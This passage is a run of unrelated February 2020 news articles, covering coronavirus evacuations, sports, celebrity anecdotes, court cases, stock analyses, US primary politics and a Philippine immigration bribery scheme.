passengers and crew. The ship was quarantined on February 5 when a passenger who left in Hong Kong was found infected with the virus. Passengers were confined to cabins except for brief trips on deck wearing masks and gloves, when they were told to keep their distance from others. Hundreds of passengers have since been allowed to disembark this week after testing negative for the deadly virus. Of the 246 Canadians originally on board, 47 had contracted the coronavirus, CBC said, but they were not on the evacuation flight. It was the third flight to evacuate Canadians from coronavirus quarantine, after two earlier ones from the outbreak epicenter in Wuhan, China. More than 200 Canadians who were quarantined at CFB Trenton after arriving on the first plane from Wuhan on February 7 and a separate US charter flight are due to be released from the base Friday, CTV said. A woman was hospitalized after driving a car off a cliff along State Route 9 west of Saratoga Friday afternoon, according to the California Highway Patrol. The woman was headed northbound near Heather Heights Road on a part of the two-lane highway that winds through the mountains north of Mt. Bielaswki when she went off the road at about 11:45 a.m., according to the CHP. Fernando Alonso has inked a deal to race in May's Indy 500. That is the claim of Indycar team owner Michael Andretti, after it emerged recently that Honda reportedly vetoed a deal with the two-time champion. Andretti admitted on Wednesday that he and Alonso "couldn't come to terms" but he said no party was to "blame". The team signed up James Hinchcliffe instead. Andretti said: "You're always working two deals at once, because you never know which one is going to come through." As for the rumours of a Honda veto, he added: "Don't believe everything you've been reading. "We worked hard to get Fernando, but in the end we couldn't come to terms and he ended up getting something he felt could be a better fit for him and went that way." Alonso, 38, has also confirmed that he has inked a deal with another team, but the identity of that team is not known. It could be McLaren, even though Alonso was reportedly not keen on racing with his former F1 employer's squad after the 2019 Indy 500 debacle. "We've got two young drivers and they're our priority," said McLaren supremo Zak Brown, "so we need to make sure if we run a third car, it's complementary and helping us with our bigger agenda." When asked specifically about Alonso, Brown added: "He wasn't previously on our list, but now he is. "He's obviously a megastar and an immense talent that has already done one Indy 500, so it all goes back to making sure what we do is good for our two young guys." (GMM) Tom Cruise at Comic Con in San Diego, California on July 18, 2019. (CHRIS DELMAS/AFP via Getty Images) Kate Hudson has said Tom Cruise once scaled an eight-foot gate to get into a party at her mums house. The Almost Famous actress, 40, revealed that she and her brother Oliver Hudson used to throw huge parties at their mother Goldie Hawns house. Read more: Kate Hudson may expand her family And she said she was stunned when the Mission: Impossible star who is known for tackling his own stunts in his movies - literally dropped in for a bash. Kate Hudson arrives at the Vanity Fair Oscar Party in 2020 (Evan Agostini/Invision/AP) Speaking on Ellen DeGeneres talk show, Hudson said of the party: I'm standing at the door making sure that people who aren't supposed to be at the party aren't coming in there are like 400 people at my parents' house and I'm kind of freaking out a little bit, the control freak in me is like, This is not ok. And I see someone scaling - literally scaling - an eight-foot gate at my parents' house. Read more: Nicholas Hoult joins next Mission: Impossible Hudson continued: They come off and they do like a back handspring and pose down and I'm about to yell at this guy - and it's Tom Cruise! Goldie Hawn arrives at the Stella McCartney Autumn 2018 Presentation (Jordan Strauss/Invision/AP) DeGeneres made a joke about that being the way Cruise gets around, and Hudson laughed: He is Mission: Impossible! It was wild! Hudson is the daughter of actress Hawn and musician and actor Bill Hudson. Hawn split from Hudson in 1980 and their divorce was finalised in 1982. She started dating actor Kurt Russell in 1983 and the pair are still together. After six years together, however, their friendship came to an end. De Hory was battling a new extradition request to France. When the news came that the extradition had been granted, Mr. Forgy was the one who told de Hory. On Dec. 11, 1976, de Hory killed himself. He left everything to Mr. Forgy, who returned to Minnesota with around 300 of de Horys works. For decades he fell silent and moved on. Only in 2007 did he begin a memoir. After he self-published it in 2012, he adapted it into a play and then a musical. A new purpose for himself took shape as the caretaker of de Horys legacy. Mr. Forgy lent works to exhibitions on art forgery and recounted the story of the lovable rascal whose mischief turned the art world upside down. People found the story irresistible. Some were so intoxicated by it that a small market emerged for de Horys forgeries and pastiches. Mr. Forgy said that in 2014 a de Hory in the style of Matisse sold for $28,000. Other pieces have gone for a few thousand or hundred. Mr. Forgy now believes this new exhibition can bring de Hory the recognition he sought during his life. The paintings were done in Ibiza and many are quick snapshots of friends, including several of Mr. Forgy. Some are unfinished or pulled from de Horys sketchbook. The variety of styles is striking. There are many that evoke the artists he forged. The playful simplicity of some of his drawing wobbles between channeling and being derivative of Matisse. The government has proposed various amendments to competition law, including a provision for persons to seek settlement of ongoing cases. The draft bill to amend the Competition Act, 2002, has been made public more than six months after an expert panel suggested sweeping changes to the law. In the bill, prepared by the corporate affairs ministry, provision for settlement of cases has been proposed, among others. In certain cases, a person can submit an application in writing to the (CCI) proposing settlement of the proceeding initiated for the alleged contraventions, as per the bill. Such an application for settlement can be submitted at any time after the receipt of the Director General's (DG) report in the case concerned. However, it should be submitted before passing of an order by the CCI. DG is the investigation arm of the regulator. Cases where there are prima-facie evidence of competition law violations are referred to the DG for a detailed probe. Another proposal in the bill is to have a clause wherein a person can offer "commitments in respect of the alleged contraventions", subject to certain conditions. In July 2019, Competition Law Review Committee, chaired by Corporate Affairs Secretary Injeti Srinivas, submitted a report and recommended certain amendments to the and subordinate legislations. After taking into consideration the recommendations of the panel, the ministry has prepared the Competition (Amendment) Bill, 2020. Comments from the public on the bill have been sought till March 6. Legislators argued that it sent an insulting message to students about what the state considered adequate housing. Even some of the nations most ardent advocates for the homeless said they saw the bill as well meaning but shortsighted, as it didnt address the needs of students hardest hit by homelessness: the vast majority who dont have cars they can rely on. A muslim leader stabbed inside Regents Park mosque today said he was lucky to survive and vowed: Nothing will stop me from praying. Raafat Maglad, 70, a muezzin who leads the call to prayer, was stabbed in the neck at London Central Mosque during prayers at about 3pm yesterday. Around 20 members of the congregation rushed to tackle the knifeman, pinning him down until police and emergency services arrived. A suspect, 29, was today being quizzed on suspicion of attempted murder. Mr Maglad, a father-of-three from Queens Park who leads the call to prayer five times a day, was rushed to hospital and was discharged this morning, his arm in a sling. Mr Maglaad being treated for his injuries He told the Standard: I was closing my eyes to pray and put down my head. It felt like someone hit me with a brick. It was terrible, there was so much blood. I put my hand up and tried to close the cut. Everyone stopped him and called the ambulance. I feel lucky. It could have cut my jugular and I would have had no chance. Pointing to his shoulder dressing, Mr Maglad added: It affected my nerve. Doctors have told me I need an MRI to see how much damage, but I cant move my right arm. Its a dead weight, its heavy and numb. I have six stitches in my neck. I told the doctors I didnt want to stay in hospital with all wires going in me so I asked them to discharge me early. I wanted to be at home. Police at London Central Mosque after the stabbing / Getty Images I would like to thank everyone who helped. Last night the emergency room was full of so many people supporting me. It was nice. This attack wont change my behaviour. Nothing will stop me praying, and I will be back calling prayers as soon as I can. I have to find out if I need surgery first. Dramatic video footage of the aftermath of the attack shows the suspect being led out of the mosque in handcuffs. One video showed a knife on the floor under a plastic chair. Mr Maglad was prayer caller at the funeral of Dodi Fayed, killed with Diana, Princess of Wales, in the 1997 Paris car crash. Imam Stabbed In Regents Park Mosque Ayaz Ahmad, an adviser to the mosque, said of the attack: Everybodys reaction was shock and horror, the men were screaming. It was a vicious attack. We live in a society where we hear a lot about knife crime and its very shocking. Abi Watik, 59, who had been praying one row behind the attacker, said: We were kneeling down, as we started saying Allahu Akbar he got the knife from under his trousers and cut him. He was behind him, and then we heard screaming, and the Imam stopped praying and the people who were behind him they catch him straight away and put him on the floor, then after that there was lots of blood. Of the knifeman, he said: Ive seen him many times in the mosque before, many times. He has been coming for about six months. Everyone was shocked, 20 people were around him and put him on the floor, he doesnt even say one word. He doesnt scream, he doesnt swear. The other worshippers were very brave. The worst result, after buying shares in a company (assuming no leverage), would be if you lose all the money you put in. But on the bright side, you can make far more than 100% on a really good stock. Long term Arbor Realty Trust, Inc. (NYSE:ABR) shareholders would be well aware of this, since the stock is up 106% in five years. Check out our latest analysis for Arbor Realty Trust While markets are a powerful pricing mechanism, share prices reflect investor sentiment, not just underlying business performance. One imperfect but simple way to consider how the market perception of a company has shifted is to compare the change in the earnings per share (EPS) with the share price movement. During five years of share price growth, Arbor Realty Trust actually saw its EPS drop 5.3% per year. Essentially, it doesn't seem likely that investors are focused on EPS. Because earnings per share don't seem to match up with the share price, we'll take a look at other metrics instead. In fact, the dividend has increased over time, which is a positive. Maybe dividend investors have helped support the share price. The revenue growth of about 34% per year might also encourage buyers. The company's revenue and earnings (over time) are depicted in the image below (click to see the exact numbers). NYSE:ABR Income Statement, February 21st 2020 We like that insiders have been buying shares in the last twelve months. Having said that, most people consider earnings and revenue growth trends to be a more meaningful guide to the business. You can see what analysts are predicting for Arbor Realty Trust in this interactive graph of future profit estimates. What About Dividends? As well as measuring the share price return, investors should also consider the total shareholder return (TSR). The TSR is a return calculation that accounts for the value of cash dividends (assuming that any dividend received was reinvested) and the calculated value of any discounted capital raisings and spin-offs. It's fair to say that the TSR gives a more complete picture for stocks that pay a dividend. As it happens, Arbor Realty Trust's TSR for the last 5 years was 219%, which exceeds the share price return mentioned earlier. The dividends paid by the company have thusly boosted the total shareholder return. Story continues A Different Perspective Arbor Realty Trust's TSR for the year was broadly in line with the market average, at 24%. We should note here that the five-year TSR is more impressive, at 26% per year. Although the share price growth has slowed, the longer term story points to a business well worth watching. While it is well worth considering the different impacts that market conditions can have on the share price, there are other factors that are even more important. For example, we've discovered 2 warning signs for Arbor Realty Trust that you should be aware of before investing here. Arbor Realty Trust is not the only stock insiders are buying. So take a peek at this free list of growing companies with insider buying. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on US exchanges. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. GRAND RAPIDS, MI There is help available next week for Michigan residents seeking to expunge their records of criminal convictions that often have been a barrier to getting housing, jobs, state licensing and volunteering. The Western Michigan University Cooley Law School Access to Justice Clinic in partnership with attorney Amanda Sterkenburg will offer an Expungement Eligibility Clinic in Kentwood to help people get their criminal history erased from public records on Saturday, Feb. 29. The clinic is scheduled from 10 a.m. to 4 p.m. at the Community Collaboration Center in the Kentwood Public Schools Administration Building, 5820 Eastern Ave. SE. Tracey Brame, director of WMU-Cooley Access to Justice Clinic and associate dean of the Grand Rapids campus, said they are offering people the opportunity to come in and be screened for eligibility for an expungement. In Michigan, she said people with one felony conviction and/or two misdemeanors for certain crimes are eligible to petition the court to have their records expunged, provided the last conviction attempting to be expunged was at least five years ago. It doesnt erase it all together, but it basically hides it from public view, so that if they were applying for a job or housing and someone does a background check it wont come up, Brame said. It makes a huge difference for people because it means that they can say or mark no, when asked if theyve been convicted of a felony. Brame says there are exceptions to expungement including felonies like murder punishable by life in prison, rape and other sexual assaults and traffic offenses. There is a $10 fee, cash or credit card, for criminal record screening. However, it is free to enter and hear the information shared. Student attorneys from WMU-Cooley Access to Justice Clinic will be on hand to discuss the process with participants and help them determine their eligibility. Those who qualify may be paired with a student attorney for pro bono assistance with their expungement application. Resource packets will be available to those who do not qualify. A persons trustworthiness or character cannot be proven by one single incident, said attorney Amanda Sterkenburg in a press release. Unfortunately, many people find that old convictions continue to create barriers to housing and employment long after they have served their sentence and changed their lives. Expungement represents a fresh start to those whose recent conduct shows that they deserve a second chance. Sterkenburg approached the law school about teaming up on the Kentwood clinic. Brame said second- or third year law students accompany their clients to court and advocate for their expungement. She said Kamau Sandiford, staff attorney for the WMU-Cooley Access to Justice Clinic, helps their students work the cases. She said the entire expungement process could take about three months. She said WMU-Cooley conducts a few dozen clinics a year along with other community events to educate the public. You would be surprised how many people dont know about or understand the expungement process, Brame said. There are probably a lot of people who might qualify every year. She said anyone in the state is welcome to attend clinic next week but urged anyone traveling a long distance to contact their office in advance for a pre-screening at 616-301-6800, extension 6921. Since 2015, when state lawmakers enacted a more accessible path to expungement of criminal records for offenders, Brame said the WMU-Cooley Access to Justice Clinic clinic has been successfully helping clients earn a second chance. She said they are approaching their 100th expungement. "Our mission is to assist area citizens in obtaining a second chance by overcoming barriers related to criminal history,'' she said. In November, the Michigan House of Representatives passed legislation that would expand whos eligible for criminal record expungement. If passed by the Senate and signed by the Governor Whitmer, the package of bills would do the following: Increase the number of felonies and misdemeanors that can be set aside under the current petition process. Allow certain traffic offenses and marijuana convictions to be set aside. Set up a system to automatically expunge certain crimes if certain criteria are met.. Allow multiple crimes that are part of the same transaction to be counted as one, if certain criteria are met. More on MLive: Apartment complex evacuated in overnight fire, resident suffers smoke inhalation Police identify women, 27, killed in head-on crash Hope College awarded $800K for community-based partnerships initiative Candace Cameron Bure urges women to use social media platforms during Lent to help girls in poverty Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Hollywood actress Candace Cameron Bure has teamed up child sponsorship organization Compassion International to help girls in poverty during Lent by encouraging women to use their social media platforms to promote the cause. "Lent is an important season for Christians around the world. There are a lot of things we can give up for Lent: sweets, television, gossip, coffee. And those things are great, but what if we gave up our platforms this Lent season? Bure says in a promotional video for the child sponsorship organization. What if we gave up what we normally post on social media to speak up on behalf of others, on behalf of girls whove never been given a voice? Bure and Compassion International launched the Lenten season campaign leading up to Easter Sunday titled, Help Girls in Poverty with Candace Cameron Bure. The goal is to get sponsors for girls worldwide who are living in poverty and at risk. The actress is urging women to use the power of social media to help girls obtain sponsors. Last year I had the opportunity to meet two of the girls I sponsor with Compassion International, Bure wrote on Instagram along with photos of the girls she financially supports. I immediately fell in love with their precious hearts and love for Jesus, but my heart was broken by the realities they face just because theyre girls. So Im dedicating this Lenten season to speaking up for girls in poverty. Bures campaign encourages participants to find sponsors for three girls. On the first day of Lent, partners would start advocating by posting photos and stories on social media exposing their friends to the child sponsorship program. Anyone who signs up for the campaign will receive photo cards of girls who need sponsors that can be shared in their circles. Poverty isnt fair, but its ESPECIALLY unfair to girls. Abuse, trafficking, education discrimination, lack of access to proper feminine hygiene care products these are all challenges that girls in poverty face just because theyre girls. This year for Lent, Im speaking up on their behalf, The Fuller House actress declared. You can join me by signing up to receive daily text messages and weekly emails focused on the specific challenges that girls in poverty face, as well as how Jesus love serves as a perfect model for our response, she said. While Bure's campaign is focused on girls, many boys are also seeking sponsors through the program. Jeffrey Profitt, the former police officer who admitted last month to roughing up an intoxicated man in 2016, will serve two years probation, a judge ruled Friday. Profitt served as a Millville police officer when a 62-year-old man, identified by his initials, A.W., was brought into the police station after causing a disturbance at a liquor store. In the station, Profitt tackled the man, whose head hit the floor like a pumpkin smashing, an EMT testified. The man needed three hours of surgery, First Assistant Prosecutor Harold Shapiro said. Profitt pleaded guilty to third-degree aggravated assault last month, in exchange for the dropping of 23 remaining indictment counts. At Profitts sentencing before Judge Robert Malestein in Superior Court in Bridgeton Friday, Shapiro argued for a 364-day county jail term. Defense attorney Michael Testa Sr. argued against incarceration. Shapiro said A.W.'s daughter was in the courtroom and did not plan on making a statement. After Testa made a remark about A.W. not being present to give a statement, she stood up, and Malestein allowed her to address the court. He didnt speak because he has a brain injury, she said. Her father has lost his hearing and will be in a nursing home for the rest of his life, she added. When given the chance to speak on his behalf, Profitt offered no apology for the incident as he criticized the prosecution and disparaged the victim. Speaking rapidly as he flipped through the pages of his prepared statement, Profitt said A.W. was involved in a fight with a woman, who hit A.W. with a stick, before police arrived at the scene. He said the prosecutors office was concerned about the well-being of an alcohol-addicted, crack-smoking woman-beater and not the wellbeing of me and my family. Profitt also accused the prosecutors office detective who investigated the beating of lying during grand jury proceedings. He said he used force because A.W. was resisting arrest and he was trying to get him under control. The former Millville officer runs 856 Films, a small studio that produces movies for Youtube, Vimeo and other platforms. In Violent Justice, a film in which Profitt acted and served as executive producer, he played a vigilante ex-cop who lives up to the title. According to Profitts IMDB profile, he has also directed series including I Think My Boyfriend is From Hell and My Baby Mama is a Psycho, and has other projects releasing in 2020. In his court statement Friday, Profitt alleged county Prosecutor Jennifer Webb-McRae has some sort of groupie-like obsession with me and watches his films too. She declined to comment on that Friday. As his case was moving through the courts, he said people he used to interact with as a police officer, who were aware of the case against him, would see him in public and say theyre trying to do you dirty, bro. Malestein called the sentencing contentious litigation that is coming to a close." The elephant is really in the room in this case. Not a day goes by where you dont see a video about police, he said, referring to news reports. He also noted that he cant treat Profitt, as a former police officer, any differently than a civilian charged with the same crime. For a first offense, there is a presumption not to send Profitt to jail. Profitt, who has since moved to Pennsylvania, will have to get his probation transferred there, Malestein said. The former cop will serve 364 days in the county jail if he violates probation. He must forfeit future public employment. Joe Brandt can be reached at jbrandt@njadvancemedia.com. Follow him on Twitter @JBrandt_NJ. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Democratic presidential candidate former Vice President Joe Biden speaks about his plan to curb gun violence in Las Vegas, Nev., on Feb. 20, 2020. (Mario Tama/Getty Images) Biden Defends Superdelegates as He Argues for Brokered Convention Former Vice President Joe Biden defended the nearly 800 unelected superdelegates that will vote in extra rounds of voting that could be triggered if no Democratic presidential candidate wins a majority of delegates, arguing in favor of a brokered convention. The Democratic National Convention in July could feature a contested convention, which features additional rounds of voting past the state primaries and caucuses. The extra voting should take place if no candidate wins a majority of delegates, Biden argued during a CNN town hall on Thursday night. Say you got to get over 1,900 delegates, thats the deal, Biden said, referring to the number a candidate can reach to get the partys nomination without resorting to a brokered convention. So lets say someone comes with the most delegates and it gets split up and they got a thousand delegates and the rest are split. Does that mean you should go ahead and change the rules? I dont think so. I guess Im a Catholic school kid. You play by the rules, he said. Biden said the superdelegatesautomatic delegates who dont vote in the first round but are added into the pool if a contested convention is triggeredshould get a chance to participate in the process. There is an awful lot of Democrats who show up at that convention who worked really hard to be involved in the party and giving everybody a chance, Biden said. Democratic presidential candidates (L-R) former New York City Mayor Mike Bloomberg, Sen. Elizabeth Warren (D-Mass.), Sen. Bernie Sanders (I-Vt.), former Vice President Joe Biden, former South Bend, Indiana Mayor Pete Buttigieg, and Sen. Amy Klobuchar (D-Minn.) participate in the Democratic presidential primary debate at Paris Las Vegas in Las Vegas, Nevada on Feb. 19, 2020. (Mario Tama/Getty Images) Of the six candidates on the debate stage in Las Vegas this week, only Sen. Bernie Sanders (I-Vt.) expressed support for a candidate earning a plurality of delegates winning the nomination without additional voting. The process includes 500 superdelegates on the second ballot. So I think that the will of the people should prevail, yes, Sanders said, drawing applause from the audience. The person who has the most votes should become the nominee, he added. Former New York City Mayor Michael Bloomberg, Sen. Elizabeth Warren (D-Mass.), Sen. Amy Klobuchar (D-Minn.), and former South Bend Mayor Pete Buttigieg, all said they support a brokered convention. Results from the two early voting states of Iowa and New Hampshire show Buttigieg with 22 delegates, including a disputed delegate from Iowa that could shift to Sanders after a recount, and Sanders with 21. Warren has eight, Klobuchar has seven, and Biden has six. Bloomberg is ignoring the early voting states and focusing on states where voters will head to the polls on March 3, including California, Texas, and Maine. Some major players in the Democratic Party have expressed support for a brokered convention, including former Secretary of State John Kerry, who supports Biden. He said party rules clearly outline a second round of voting if no candidates earn a majority of delegates. Those are the rules. Thats exactly how democracy works, Kerry said during an appearance on CNNs New Day. When you become a candidate for president of the United States, you know what the rules are. And if youre going to be a good president, you need to play by the rules, something that Donald Trump doesnt do. The Enforcement Directorate (ED) has attached immovable and movable assets worth Rs 7.63 crore of Mumbai-based businessman Madanlal Jain in a bogus import case under Prevention of Money Laundering Act, 2002 (PMLA). According to ED, the attached properties comprise of immovable properties namely 15 plots worth Rs 4.80 crore located at Gam-Katargam in Surat held in the name of Rivertouch Resorts Pvt Ltd, a company controlled by accused Madanlal Jain, and movable property in the form of balance in bank accounts totalling Rs 2.83 crore. The economic offences watchdog said that the investigation in the matter has revealed that nine companies having accounts in ICICI Bank, Surat, have remitted a huge amount of money on the basis of forged Bills of Entry to three companies in UAE and 15 companies in Hong Kong. A Bill of Entry is an account of goods entered at a customhouse, of imports and exports, detailing the merchant, quantity of goods, their type, and place of origin or destination. It said that the main sources of credits in these accounts are from the eight entities -- Vandana & Co, Natural Trading Co, Maruti Trading, etc -- having accounts in Axis bank apart from around 469 other entities. Further, the ED said that these eight entities having accounts in Axis Bank had received funds through various cheque discounters and a web of 2,700 companies. Enquiries further revealed that Afroz Mohamed Hasanfatta, Madanlal Jain, Bilal Haroon Gilani, Jayesh Desai, Rakesh Kothari were involved in this racket and that these accused persons created shell companies using dummy persons as directors or partners, the ED said. Madanlal Jain had allegedly earned commission for his role in the illegal transactions of foreign remittances made on the strength of fake Bills of Entry and is allegedly the beneficiary of the proceeds of crime laundered and transferred from Indian companies. Earlier, the ED had arrested Afroz Mohamed Hasanfatta, Madanlal Jain, Manish Shah, Rakesh Kothari and Jayesh Desai and attached their properties totalling to Rs 26.55 crore and also filed five prosecution complaints against them before designated Special Court (PMLA) in Ahmedabad. The investigation in the matter was initiated on the basis of a complaint received by the Crime Branch of Surat from ICICI bank against RA Distributors Pvt Ltd and others alleging that the companies had prepared fake Bills of Entry and presented the same before ICICI Bank for illegal outward remittances. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) China's tech billionaire Jack Ma has pledged over USD 2 million to support the development of antiviral drugs to combat the new coronavirus which has killed 2,236 people in the country and infected more than 75,000 others. The World Health Organization (WHO) has declared the epidemic as a public health emergency. In accordance with a deal signed between the Jack Ma foundation and Columbia University, the 15 million yuan will be used for supporting a research project led by Dr David Ho, a world-renowned HIV/AIDS researcher with the university, state-run Xinhua news agency reported. The researcher will lead in setting project objectives, conducting research and tracking results, said a source of the foundation based in Hangzhou, Zhejiang province. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Since the outbreak of COVID-19 in China, with Wuhan as the epicenter, Ho and many researchers at Columbia University have been following the situation closely and started related work to combat the virus, the report said. In support of the cooperation project, Columbia University has set up a multidisciplinary team involving professionals in virology, molecular biology and chemistry who proposed four different new solutions to tame the pathogen, according to the source. China's richest man, 55-year-old Jack, is the co-founder and former executive chairman of the Chinese multinational technology conglomerate Alibaba group. The coronavirus has killed as many as 2,236 people, mostly in the hard-hit Hubei province, and infected 75,465 others, according to the Chinese health officials. A number of countries including US, UK, Japan Sri Lanka, Bangladesh and Nepal have evacuated hundreds of their nationals while about 800 to 1,000 Pakistanis are still in the area. The virus outbreak originated in China's Hubei province in December and has spread to more than 25 countries, including India. Many countries have banned arrivals from China while major airlines have suspended flights to the country. Unfortunately for some shareholders, the Zhejiang Tengy Environmental Technology (HKG:1527) share price has dived 38% in the last thirty days. That drop has capped off a tough year for shareholders, with the share price down 45% in that time. Assuming nothing else has changed, a lower share price makes a stock more attractive to potential buyers. In the long term, share prices tend to follow earnings per share, but in the short term prices bounce around in response to short term factors (which are not always obvious). So, on certain occasions, long term focussed investors try to take advantage of pessimistic expectations to buy shares at a better price. One way to gauge market expectations of a stock is to look at its Price to Earnings Ratio (PE Ratio). A high P/E ratio means that investors have a high expectation about future growth, while a low P/E ratio means they have low expectations about future growth. View our latest analysis for Zhejiang Tengy Environmental Technology Does Zhejiang Tengy Environmental Technology Have A Relatively High Or Low P/E For Its Industry? Zhejiang Tengy Environmental Technology has a P/E ratio of 9.64. You can see in the image below that the average P/E (10.3) for companies in the machinery industry is roughly the same as Zhejiang Tengy Environmental Technology's P/E. SEHK:1527 Price Estimation Relative to Market, February 21st 2020 That indicates that the market expects Zhejiang Tengy Environmental Technology will perform roughly in line with other companies in its industry. The company could surprise by performing better than average, in the future. Checking factors such as director buying and selling. could help you form your own view on if that will happen. How Growth Rates Impact P/E Ratios When earnings fall, the 'E' decreases, over time. Therefore, even if you pay a low multiple of earnings now, that multiple will become higher in the future. A higher P/E should indicate the stock is expensive relative to others -- and that may encourage shareholders to sell. Story continues Zhejiang Tengy Environmental Technology shrunk earnings per share by 68% over the last year. And EPS is down 4.9% a year, over the last 5 years. This might lead to muted expectations. Don't Forget: The P/E Does Not Account For Debt or Bank Deposits It's important to note that the P/E ratio considers the market capitalization, not the enterprise value. In other words, it does not consider any debt or cash that the company may have on the balance sheet. The exact same company would hypothetically deserve a higher P/E ratio if it had a strong balance sheet, than if it had a weak one with lots of debt, because a cashed up company can spend on growth. While growth expenditure doesn't always pay off, the point is that it is a good option to have; but one that the P/E ratio ignores. Zhejiang Tengy Environmental Technology's Balance Sheet Zhejiang Tengy Environmental Technology's net debt equates to 35% of its market capitalization. While it's worth keeping this in mind, it isn't a worry. The Bottom Line On Zhejiang Tengy Environmental Technology's P/E Ratio Zhejiang Tengy Environmental Technology has a P/E of 9.6. That's around the same as the average in the HK market, which is 10.2. When you consider the lack of EPS growth last year (along with some debt), it seems the market is optimistic about the future for the business. Given Zhejiang Tengy Environmental Technology's P/E ratio has declined from 15.6 to 9.6 in the last month, we know for sure that the market is more worried about the business today, than it was back then. For those who prefer invest in growth, this stock apparently offers limited promise, but the deep value investors may find the pessimism around this stock enticing. Investors have an opportunity when market expectations about a stock are wrong. If the reality for a company is not as bad as the P/E ratio indicates, then the share price should increase as the market realizes this. Although we don't have analyst forecasts you might want to assess this data-rich visualization of earnings, revenue and cash flow. Of course you might be able to find a better stock than Zhejiang Tengy Environmental Technology. So you may wish to see this free collection of other companies that have grown earnings strongly. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Police have opened five criminal cases. The Ukrainian Interior Ministry has reported the situation in the town of Novi Sanzhary, Poltava region, has returned to normal after recent riots against evacuees from the Chinese city of Wuhan, the epicenter of the novel coronavirus outbreak. "Now the situation in Novi Sanzhary is calm. Public order is maintained by 320 members of the National Guard, 70 officers of the National Police, and 16 workers of the State Emergency Service. The situation is completely under control ... We will not let anyone threaten security in the Novi Sanzhary health center," Deputy Minister of Internal Affairs Anton Gerashchenko said at a briefing on February 21, according to an UNIAN correspondent. Read alsoProvocateurs who radicalized rally against Wuhan evacuees "not local", police found Five criminal cases were opened on the fact of the unrest: mass riots, illegal blocking of roads, hooliganism and incitement to ethnic or racial hatred, as the rioters "used hate speech against foreign citizens" that were evacuated from China together with the Ukrainians, Gerashchenko said. In turn, Deputy Health Minister Dmytro Koval once again emphasized that the evacuated citizens had undergone health checks at the health center in Novi Sanzhary and tested negative for the coronavirus. As UNIAN reported earlier, local residents in Novi Sanzhary, Poltava region, on February 20 protested against the arrival of Ukrainian citizens and foreigners evacuated from China and accommodated at a local medical center, which is within the Ukrainian Interior Ministry's jurisdiction. Protesters threw stones at buses with the evacuees. During the clashes, nine law enforcement officers were injured. The police opened two criminal cases on the fact of mass riots in Novi Sanzhary and violence against law enforcement officers. On February 21, the police released 23 of the 24 most aggressive individuals detained during the protests; one person remained under arrest. The evacuees will stay in Novi Sanzhary under 14-day observation with a strict biosecurity regime. Metro Manila (CNN Philippines, February 21) Chinese nationals who illegally entered the Philippines with the help of the so-called "pastillas" bribery scheme will be sent back to China immediately, Justice Secretary Menardo Guevarra said on Friday. The Bureau of Immigration and the National Bureau of Investigation are conducting investigations into the alleged modus of several immigration officers to give VIP treatment to Chinese visitors and even fugitives for a fee. "If the Chinese nationals named in the list turn out to be improperly documented, they will be deported immediately," he sent in a text message. Over 2,000 Chinese nationals enter the Ninoy Aquino International Airport daily, but the number of visitors who have availed of the illegal bribery scheme remains unknown. Immigration Officer Allison Chiong appeared before the Senate Committee on Women, Children, Family Relations and Gender Equality on Thursday to attest that Chinese nationals pay 10,000 as a service fee or grease money for a special entry treatment from the BI. The grease money goes up to P50,000 to even millions of pesos for blacklisted Chinese fugitives or "VVIP" who want to get in and out of the Philippines, the whistleblower revealed. Immigration data shows that 324 Chinese nationals were apprehended in local ports in 2019. Guevarra said corrupt immigration officials will also be dealt with by the DOJ. If they (Chinese nationals) are legitimate, but were merely extended 'escort service' by some BI personnel for a fee, then it's the latter who will be dealt with accordingly, the Justice Chief said. Meanwhile, Presidential Spokesperson Salvador Panelo said that Immigration chief Jaime Morente will still be investigated despite President Rodrigo Duterte's expression of support for him yesterday. "Everyone is not off the hook. The confidence is there until contrary statement is made by the President," said Panelo. President Rodrigo Duterte on Thursday relieved 19 immigration officials and personnel while the investigation is ongoing to find out their involvement in the illegal scheme. Immigration spokesperson Dana Sandoval said the list includes the names Chiong revealed to be the leaders of syndicates within the bureau who are conniving with foreign travel groups for a percentage of the fee. Chiong mentioned several names involved in the scheme, such as former port operations divisions chief Red Marinas. Sandoval said the list of relieved officers may expand as the bureau once the results of its own probe is ready. Emily C. Sparks, 29, of O'Fallon, is being held in the St. Clair County Jail on three counts of attempted murder A southern Illinois woman is facing charges she planned to kill her three young children with carbon dioxide, authorities said. Emily C. Sparks, 29, of O'Fallon, is being held in the St. Clair County Jail on three counts of attempted murder, the St. Clair County State's Attorney's office said. Her two sons and daughter, ages 3, 5 and 7, are being cared for by relatives, O'Fallon police Lt. Nicholas Schmidt said. Police received a tip that Sparks had planned to kill 